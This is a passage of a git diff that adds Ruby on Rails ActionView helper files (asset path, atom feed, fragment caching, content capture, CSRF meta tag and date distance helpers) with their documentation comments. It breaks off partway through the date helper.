+ # Computes the path to an audio asset in the public audios directory.
+ # Full paths from the document root will be passed through.
+ # Used internally by +audio_tag+ to build the audio path.
+ #
+ # audio_path("horse") # => /audios/horse
+ # audio_path("horse.wav") # => /audios/horse.wav
+ # audio_path("sounds/horse.wav") # => /audios/sounds/horse.wav
+ # audio_path("/sounds/horse.wav") # => /sounds/horse.wav
+ # audio_path("http://www.example.com/sounds/horse.wav") # => http://www.example.com/sounds/horse.wav
+ def audio_path(source, options = {})
+ path_to_asset(source, {type: :audio}.merge!(options))
+ end
+ alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
+
+ # Computes the full URL to an audio asset in the public audios directory.
+ # This will use +audio_path+ internally, so most of their behaviors will be the same.
+ def audio_url(source, options = {})
+ url_to_asset(source, {type: :audio}.merge!(options))
+ end
+ alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
+
+ # Computes the path to a font asset.
+ # Full paths from the document root will be passed through.
+ #
+ # font_path("font") # => /fonts/font
+ # font_path("font.ttf") # => /fonts/font.ttf
+ # font_path("dir/font.ttf") # => /fonts/dir/font.ttf
+ # font_path("/dir/font.ttf") # => /dir/font.ttf
+ # font_path("http://www.example.com/dir/font.ttf") # => http://www.example.com/dir/font.ttf
+ def font_path(source, options = {})
+ path_to_asset(source, {type: :font}.merge!(options))
+ end
+ alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
+
+ # Computes the full URL to a font asset.
+ # This will use +font_path+ internally, so most of their behaviors will be the same.
+ def font_url(source, options = {})
+ url_to_asset(source, {type: :font}.merge!(options))
+ end
+ alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
new file mode 100644
index 0000000000..227ad4cdfa
--- /dev/null
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -0,0 +1,203 @@
+require 'set'
+
+module ActionView
+ # = Action View Atom Feed Helpers
+ module Helpers
+ module AtomFeedHelper
+ # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
+ # template languages).
+ #
+ # Full usage example:
+ #
+ # config/routes.rb:
+ # Rails.application.routes.draw do
+ # resources :posts
+ # root to: "posts#index"
+ # end
+ #
+ # app/controllers/posts_controller.rb:
+ # class PostsController < ApplicationController::Base
+ # # GET /posts.html
+ # # GET /posts.atom
+ # def index
+ # @posts = Post.all
+ #
+ # respond_to do |format|
+ # format.html
+ # format.atom
+ # end
+ # end
+ # end
+ #
+ # app/views/posts/index.atom.builder:
+ # atom_feed do |feed|
+ # feed.title("My great blog!")
+ # feed.updated(@posts[0].created_at) if @posts.length > 0
+ #
+ # @posts.each do |post|
+ # feed.entry(post) do |entry|
+ # entry.title(post.title)
+ # entry.content(post.body, type: 'html')
+ #
+ # entry.author do |author|
+ # author.name("DHH")
+ # end
+ # end
+ # end
+ # end
+ #
+ # The options for atom_feed are:
+ #
+ # * <tt>:language</tt>: Defaults to "en-US".
+ # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
+ # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+ # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
+ # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+ # created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+ # 2005 is used (as an "I don't care" value).
+ # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+ #
+ # Other namespaces can be added to the root element:
+ #
+ # app/views/posts/index.atom.builder:
+ # atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+ # 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+ # feed.title("My great blog!")
+ # feed.updated((@posts.first.created_at))
+ # feed.tag!('openSearch:totalResults', 10)
+ #
+ # @posts.each do |post|
+ # feed.entry(post) do |entry|
+ # entry.title(post.title)
+ # entry.content(post.body, type: 'html')
+ # entry.tag!('app:edited', Time.now)
+ #
+ # entry.author do |author|
+ # author.name("DHH")
+ # end
+ # end
+ # end
+ # end
+ #
+ # The Atom spec defines five elements (content rights title subtitle
+ # summary) which may directly contain xhtml content if type: 'xhtml'
+ # is specified as an attribute. If so, this helper will take care of
+ # the enclosing div and xhtml namespace declaration. Example usage:
+ #
+ # entry.summary type: 'xhtml' do |xhtml|
+ # xhtml.p pluralize(order.line_items.count, "line item")
+ # xhtml.p "Shipped to #{order.address}"
+ # xhtml.p "Paid by #{order.pay_type}"
+ # end
+ #
+ #
+ # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
+ # an +AtomBuilder+ instance.
+ def atom_feed(options = {}, &block)
+ if options[:schema_date]
+ options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+ else
+ options[:schema_date] = "2005" # The Atom spec copyright date
+ end
+
+ xml = options.delete(:xml) || eval("xml", block.binding)
+ xml.instruct!
+ if options[:instruct]
+ options[:instruct].each do |target,attrs|
+ if attrs.respond_to?(:keys)
+ xml.instruct!(target, attrs)
+ elsif attrs.respond_to?(:each)
+ attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+ end
+ end
+ end
+
+ feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
+ feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
+
+ xml.feed(feed_opts) do
+ xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
+ xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
+ xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
+
+ yield AtomFeedBuilder.new(xml, self, options)
+ end
+ end
+
+ class AtomBuilder #:nodoc:
+ XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
+
+ def initialize(xml)
+ @xml = xml
+ end
+
+ private
+ # Delegate to xml builder, first wrapping the element in a xhtml
+ # namespaced div element if the method and arguments indicate
+ # that an xhtml_block? is desired.
+ def method_missing(method, *arguments, &block)
+ if xhtml_block?(method, arguments)
+ @xml.__send__(method, *arguments) do
+ @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
+ block.call(xhtml)
+ end
+ end
+ else
+ @xml.__send__(method, *arguments, &block)
+ end
+ end
+
+ # True if the method name matches one of the five elements defined
+ # in the Atom spec as potentially containing XHTML content and
+ # if type: 'xhtml' is, in fact, specified.
+ def xhtml_block?(method, arguments)
+ if XHTML_TAG_NAMES.include?(method.to_s)
+ last = arguments.last
+ last.is_a?(Hash) && last[:type].to_s == 'xhtml'
+ end
+ end
+ end
+
+ class AtomFeedBuilder < AtomBuilder #:nodoc:
+ def initialize(xml, view, feed_options = {})
+ @xml, @view, @feed_options = xml, view, feed_options
+ end
+
+ # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
+ def updated(date_or_time = nil)
+ @xml.updated((date_or_time || Time.now.utc).xmlschema)
+ end
+
+ # Creates an entry tag for a specific record and prefills the id using class and id.
+ #
+ # Options:
+ #
+ # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
+ # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
+ # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
+ # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+ # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
+ def entry(record, options = {})
+ @xml.entry do
+ @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
+
+ if options[:published] || (record.respond_to?(:created_at) && record.created_at)
+ @xml.published((options[:published] || record.created_at).xmlschema)
+ end
+
+ if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
+ @xml.updated((options[:updated] || record.updated_at).xmlschema)
+ end
+
+ type = options.fetch(:type, 'text/html')
+
+ @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
+
+ yield AtomBuilder.new(@xml)
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
new file mode 100644
index 0000000000..4db8930a26
--- /dev/null
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
@@ -0,0 +1,200 @@
+module ActionView
+ # = Action View Cache Helper
+ module Helpers
+ module CacheHelper
+ # This helper exposes a method for caching fragments of a view
+ # rather than an entire action or page. This technique is useful
+ # caching pieces like menus, lists of new topics, static HTML
+ # fragments, and so on. This method takes a block that contains
+ # the content you wish to cache.
+ #
+ # The best way to use this is by doing key-based cache expiration
+ # on top of a cache store like Memcached that'll automatically
+ # kick out old entries. For more on key-based expiration, see:
+ # http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works
+ #
+ # When using this method, you list the cache dependency as the name of the cache, like so:
+ #
+ # <% cache project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This approach will assume that when a new topic is added, you'll touch
+ # the project. The cache key generated from this call will be something like:
+ #
+ # views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
+ # ^class ^id ^updated_at ^template tree digest
+ #
+ # The cache is thus automatically bumped whenever the project updated_at is touched.
+ #
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+ # you can name all these dependencies as part of an array:
+ #
+ # <% cache [ project, current_user ] do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This will include both records as part of the cache key and updating either of them will
+ # expire the cache.
+ #
+ # ==== Template digest
+ #
+ # The template digest that's added to the cache key is computed by taking an md5 of the
+ # contents of the entire template file. This ensures that your caches will automatically
+ # expire when you change the template file.
+ #
+ # Note that the md5 is taken of the entire template file, not just what's within the
+ # cache do/end call. So it's possible that changing something outside of that call will
+ # still expire the cache.
+ #
+ # Additionally, the digestor will automatically look through your template file for
+ # explicit and implicit dependencies, and include those as part of the digest.
+ #
+ # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
+ #
+ # <% cache project, skip_digest: true do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # ==== Implicit dependencies
+ #
+ # Most template dependencies can be derived from calls to render in the template itself.
+ # Here are some examples of render calls that Cache Digests knows how to decode:
+ #
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render "header" => render("comments/header")
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ #
+ # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
+ #
+ # render group_of_attachments
+ # render @project.documents.where(published: true).order('created_at')
+ #
+ # You will have to rewrite those to the explicit form:
+ #
+ # render partial: 'attachments/attachment', collection: group_of_attachments
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+ #
+ # === Explicit dependencies
+ #
+ # Some times you'll have template dependencies that can't be derived at all. This is typically
+ # the case when you have template rendering that happens in helpers. Here's an example:
+ #
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # You'll need to use a special comment format to call those out:
+ #
+ # <%# Template Dependency: todolists/todolist %>
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
+ # You can only declare one template dependency per line.
+ #
+ # === External dependencies
+ #
+ # If you use a helper method, for example, inside of a cached block and you then update that helper,
+ # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
+ # must change. One recommendation is to simply be explicit in a comment, like:
+ #
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+ # <%= some_helper_method(person) %>
+ #
+ # Now all you'll have to do is change that timestamp when the helper method changes.
+ def cache(name = {}, options = nil, &block)
+ if controller.perform_caching
+ safe_concat(fragment_for(cache_fragment_name(name, options), options, &block))
+ else
+ yield
+ end
+
+ nil
+ end
+
+ # Cache fragments of a view if +condition+ is true
+ #
+ # <%= cache_if admin?, project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ def cache_if(condition, name = {}, options = nil, &block)
+ if condition
+ cache(name, options, &block)
+ else
+ yield
+ end
+
+ nil
+ end
+
+ # Cache fragments of a view unless +condition+ is true
+ #
+ # <%= cache_unless admin?, project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ def cache_unless(condition, name = {}, options = nil, &block)
+ cache_if !condition, name, options, &block
+ end
+
+ # This helper returns the name of a cache key for a given fragment cache
+ # call. By supplying skip_digest: true to cache, the digestion of cache
+ # fragments can be manually bypassed. This is useful when cache fragments
+ # cannot be manually expired unless you know the exact key which is the
+ # case when using memcached.
+ def cache_fragment_name(name = {}, options = nil)
+ skip_digest = options && options[:skip_digest]
+
+ if skip_digest
+ name
+ else
+ fragment_name_with_digest(name)
+ end
+ end
+
+ private
+
+ def fragment_name_with_digest(name) #:nodoc:
+ if @virtual_path
+ names = Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name)
+ digest = Digestor.digest name: @virtual_path, finder: lookup_context, dependencies: view_cache_dependencies
+
+ [ *names, digest ]
+ else
+ name
+ end
+ end
+
+ # TODO: Create an object that has caching read/write on it
+ def fragment_for(name = {}, options = nil, &block) #:nodoc:
+ read_fragment_for(name, options) || write_fragment_for(name, options, &block)
+ end
+
+ def read_fragment_for(name, options) #:nodoc:
+ controller.read_fragment(name, options)
+ end
+
+ def write_fragment_for(name, options) #:nodoc:
+ # VIEW TODO: Make #capture usable outside of ERB
+ # This dance is needed because Builder can't use capture
+ pos = output_buffer.length
+ yield
+ output_safe = output_buffer.html_safe?
+ fragment = output_buffer.slice!(pos..-1)
+ if output_safe
+ self.output_buffer = output_buffer.class.new(output_buffer)
+ end
+ controller.write_fragment(name, fragment, options)
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb
new file mode 100644
index 0000000000..75d1634b2e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/capture_helper.rb
@@ -0,0 +1,207 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ # = Action View Capture Helper
+ module Helpers
+ # CaptureHelper exposes methods to let you extract generated markup which
+ # can be used in other parts of a template or layout file.
+ #
+ # It provides a method to capture blocks into variables through capture and
+ # a way to capture a block of markup for use in a layout through content_for.
+ module CaptureHelper
+ # The capture method allows you to extract part of a template into a
+ # variable. You can then use this variable anywhere in your templates or layout.
+ #
+ # The capture method can be used in ERB templates...
+ #
+ # <% @greeting = capture do %>
+ # Welcome to my shiny new web page! The date and time is
+ # <%= Time.now %>
+ # <% end %>
+ #
+ # ...and Builder (RXML) templates.
+ #
+ # @timestamp = capture do
+ # "The current timestamp is #{Time.now}."
+ # end
+ #
+ # You can then use that variable anywhere else. For example:
+ #
+ # <html>
+ # <head><title><%= @greeting %></title></head>
+ # <body>
+ # <b><%= @greeting %></b>
+ # </body></html>
+ #
+ def capture(*args)
+ value = nil
+ buffer = with_output_buffer { value = yield(*args) }
+ if string = buffer.presence || value and string.is_a?(String)
+ ERB::Util.html_escape string
+ end
+ end
+
+ # Calling content_for stores a block of markup in an identifier for later use.
+ # In order to access this stored content in other templates, helper modules
+ # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
+ #
+ # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
+ # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
+ #
+ # <% content_for :not_authorized do %>
+ # alert('You are not authorized to do that!')
+ # <% end %>
+ #
+ # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
+ #
+ # <%= content_for :not_authorized if current_user.nil? %>
+ #
+ # This is equivalent to:
+ #
+ # <%= yield :not_authorized if current_user.nil? %>
+ #
+ # <tt>content_for</tt>, however, can also be used in helper modules.
+ #
+ # module StorageHelper
+ # def stored_content
+ # content_for(:storage) || "Your storage is empty"
+ # end
+ # end
+ #
+ # This helper works just like normal helpers.
+ #
+ # <%= stored_content %>
+ #
+ # You can also use the <tt>yield</tt> syntax alongside an existing call to
+ # <tt>yield</tt> in a layout. For example:
+ #
+ # <%# This is the layout %>
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ # <head>
+ # <title>My Website</title>
+ # <%= yield :script %>
+ # </head>
+ # <body>
+ # <%= yield %>
+ # </body>
+ # </html>
+ #
+ # And now, we'll create a view that has a <tt>content_for</tt> call that
+ # creates the <tt>script</tt> identifier.
+ #
+ # <%# This is our view %>
+ # Please login!
+ #
+ # <% content_for :script do %>
+ # <script>alert('You are not authorized to view this page!')</script>
+ # <% end %>
+ #
+ # Then, in another view, you could to do something like this:
+ #
+ # <%= link_to 'Logout', action: 'logout', remote: true %>
+ #
+ # <% content_for :script do %>
+ # <%= javascript_include_tag :defaults %>
+ # <% end %>
+ #
+ # That will place +script+ tags for your default set of JavaScript files on the page;
+ # this technique is useful if you'll only be using these scripts in a few views.
+ #
+ # Note that content_for concatenates (default) the blocks it is given for a particular
+ # identifier in order. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>
+ # <% end %>
+ #
+ # And in other place:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>
+ #
+ # Then, in another template or layout, this code would render both links in order:
+ #
+ # <ul><%= content_for :navigation %></ul>
+ #
+ # If the flush parameter is true content_for replaces the blocks it is given. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>
+ # <% end %>
+ #
+ # <%# Add some other content, or use a different template: %>
+ #
+ # <% content_for :navigation, flush: true do %>
+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>
+ #
+ # Then, in another template or layout, this code would render only the last link:
+ #
+ # <ul><%= content_for :navigation %></ul>
+ #
+ # Lastly, simple content can be passed as a parameter:
+ #
+ # <% content_for :script, javascript_include_tag(:defaults) %>
+ #
+ # WARNING: content_for is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
+ def content_for(name, content = nil, options = {}, &block)
+ if content || block_given?
+ if block_given?
+ options = content if content
+ content = capture(&block)
+ end
+ if content
+ options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
+ end
+ nil
+ else
+ @view_flow.get(name).presence
+ end
+ end
+
+ # The same as +content_for+ but when used with streaming flushes
+ # straight back to the layout. In other words, if you want to
+ # concatenate several times to the same buffer when rendering a given
+ # template, you should use +content_for+, if not, use +provide+ to tell
+ # the layout to stop looking for more contents.
+ def provide(name, content = nil, &block)
+ content = capture(&block) if block_given?
+ result = @view_flow.append!(name, content) if content
+ result unless content
+ end
+
+ # content_for? checks whether any content has been captured yet using `content_for`.
+ # Useful to render parts of your layout differently based on what is in your views.
+ #
+ # <%# This is the layout %>
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ # <head>
+ # <title>My Website</title>
+ # <%= yield :script %>
+ # </head>
+ # <body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
+ # <%= yield %>
+ # <%= yield :right_col %>
+ # </body>
+ # </html>
+ def content_for?(name)
+ @view_flow.get(name).present?
+ end
+
+ # Use an alternate output buffer for the duration of the block.
+ # Defaults to a new empty string.
+ def with_output_buffer(buf = nil) #:nodoc:
+ unless buf
+ buf = ActionView::OutputBuffer.new
+ buf.force_encoding(output_buffer.encoding) if output_buffer
+ end
+ self.output_buffer, old_buffer = buf, output_buffer
+ yield
+ output_buffer
+ ensure
+ self.output_buffer = old_buffer
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/controller_helper.rb b/actionview/lib/action_view/helpers/controller_helper.rb
index 74ef25f7c1..74ef25f7c1 100644
--- a/actionpack/lib/action_view/helpers/controller_helper.rb
+++ b/actionview/lib/action_view/helpers/controller_helper.rb
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
new file mode 100644
index 0000000000..5af92c4ff2
--- /dev/null
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -0,0 +1,33 @@
+module ActionView
+ # = Action View CSRF Helper
+ module Helpers
+ module CsrfHelper
+ # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+ # request forgery protection parameter and token, respectively.
+ #
+ # <head>
+ # <%= csrf_meta_tags %>
+ # </head>
+ #
+ # These are used to generate the dynamic forms that implement non-remote links with
+ # <tt>:method</tt>.
+ #
+ # You don't need to use these tags for regular forms as they generate their own hidden fields.
+ #
+ # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
+ # "X-CSRF-Token" HTTP header. If you are using jQuery with jquery-rails this happens automatically.
+ #
+ def csrf_meta_tags
+ if protect_against_forgery?
+ [
+ tag('meta', :name => 'csrf-param', :content => request_forgery_protection_token),
+ tag('meta', :name => 'csrf-token', :content => form_authenticity_token)
+ ].join("\n").html_safe
+ end
+ end
+
+ # For backwards compatibility.
+ alias csrf_meta_tag csrf_meta_tags
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
new file mode 100644
index 0000000000..4b4f0ae577
--- /dev/null
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -0,0 +1,1098 @@
+require 'date'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/with_options'
+
+module ActionView
+ module Helpers
+ # = Action View Date Helpers
+ #
+ # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
+ # elements. All of the select-type methods share a number of common options that are as follows:
+ #
+ # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+ # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
+ # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+ # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+ # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
+ # of \date[month].
+ module DateHelper
+ MINUTES_IN_YEAR = 525600
+ MINUTES_IN_QUARTER_YEAR = 131400
+ MINUTES_IN_THREE_QUARTERS_YEAR = 394200
+
+ # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+ # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
+ # Distances are reported based on the following table:
+ #
+ # 0 <-> 29 secs # => less than a minute
+ # 30 secs <-> 1 min, 29 secs # => 1 minute
+ # 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes
+ # 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour
+ # 89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours
+ # 23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs # => 1 day
+ # 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
+ # 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month
+ # 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months
+ # 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
+ # 1 yr <-> 1 yr, 3 months # => about 1 year
+ # 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year
+ # 1 yr, 9 months <-> 2 yr minus 1 sec # => almost 2 years
+ # 2 yrs <-> max time or date # => (same rules as 1 yr)
+ #
+ # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
+ # 0-4 secs # => less than 5 seconds
+ # 5-9 secs # => less than 10 seconds
+ # 10-19 secs # => less than 20 seconds
+ # 20-39 secs # => half a minute
+ # 40-59 secs # => less than a minute
+ # 60-89 secs # => 1 minute
+ #
+ # from_time = Time.now
+ # distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
+ # distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
+ # distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
+ # distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years
+ # distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days
+ # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
+ # distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
+ # distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
+ # distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
+ #
+ # to_time = Time.now + 6.years + 19.days
+ # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(Time.now, Time.now) # => less than a minute
+ def distance_of_time_in_words(from_time, to_time = 0, options = {})
+ options = {
+ scope: :'datetime.distance_in_words'
+ }.merge!(options)
+
+ from_time = from_time.to_time if from_time.respond_to?(:to_time)
+ to_time = to_time.to_time if to_time.respond_to?(:to_time)
+ from_time, to_time = to_time, from_time if from_time > to_time
+ distance_in_minutes = ((to_time - from_time)/60.0).round
+ distance_in_seconds = (to_time - from_time).round
+
+ I18n.with_options :locale => options[:locale], :scope => options[:scope] do |locale|
+ case distance_in_minutes
+ when 0..1
+ return distance_in_minutes == 0 ?
+ locale.t(:less_than_x_minutes, :count => 1) :
+ locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
+
+ case distance_in_seconds
+ when 0..4 then locale.t :less_than_x_seconds, :count => 5
+ when 5..9 then locale.t :less_than_x_seconds, :count => 10
+ when 10..19 then locale.t :less_than_x_seconds, :count => 20
+ when 20..39 then locale.t :half_a_minute
+ when 40..59 then locale.t :less_than_x_minutes, :count => 1
+ else locale.t :x_minutes, :count => 1
+ end
+
+ when 2...45 then locale.t :x_minutes, :count => distance_in_minutes
+ when 45...90 then locale.t :about_x_hours, :count => 1
+ # 90 mins up to 24 hours
+ when 90...1440 then locale.t :about_x_hours, :count => (distance_in_minutes.to_f / 60.0).round
+ # 24 hours up to 42 hours
+ when 1440...2520 then locale.t :x_days, :count => 1
+ # 42 hours up to 30 days
+ when 2520...43200 then locale.t :x_days, :count => (distance_in_minutes.to_f / 1440.0).round
+ # 30 days up to 60 days
+ when 43200...86400 then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+ # 60 days up to 365 days
+ when 86400...525600 then locale.t :x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+ else
+ if from_time.acts_like?(:time) && to_time.acts_like?(:time)
+ fyear = from_time.year
+ fyear += 1 if from_time.month >= 3
+ tyear = to_time.year
+ tyear -= 1 if to_time.month < 3
+ leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
+ minute_offset_for_leap_year = leap_years * 1440
+ # Discount the leap year days when calculating year distance.
+ # e.g. if there are 20 leap year days between 2 dates having the same day
+ # and month then the based on 365 days calculation
+ # the distance in years will come out to over 80 years when in written
+ # English it would read better as about 80 years.
+ minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+ else
+ minutes_with_offset = distance_in_minutes
+ end
+ remainder = (minutes_with_offset % MINUTES_IN_YEAR)
+ distance_in_years = (minutes_with_offset.div MINUTES_IN_YEAR)
+ if remainder < MINUTES_IN_QUARTER_YEAR
+ locale.t(:about_x_years, :count => distance_in_years)
+ elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
+ locale.t(:over_x_years, :count => distance_in_years)
+ else
+ locale.t(:almost_x_years, :count => distance_in_years + 1)
+ end
+ end
+ end
+ end
+
+ # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+ #
+ # time_ago_in_words(3.minutes.from_now) # => 3 minutes
+ # time_ago_in_words(3.minutes.ago) # => 3 minutes
+ # time_ago_in_words(Time.now - 15.hours) # => about 15 hours
+ # time_ago_in_words(Time.now) # => less than a minute
+ # time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
+ #
+ # from_time = Time.now - 3.days - 14.minutes - 25.seconds
+ # time_ago_in_words(from_time) # => 3 days
+ #
+ # from_time = (3.days + 14.minutes + 25.seconds).ago
+ # time_ago_in_words(from_time) # => 3 days
+ #
+ # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
+ #
+ def time_ago_in_words(from_time, options = {})
+ distance_of_time_in_words(from_time, Time.now, options)
+ end
+
+ alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
+
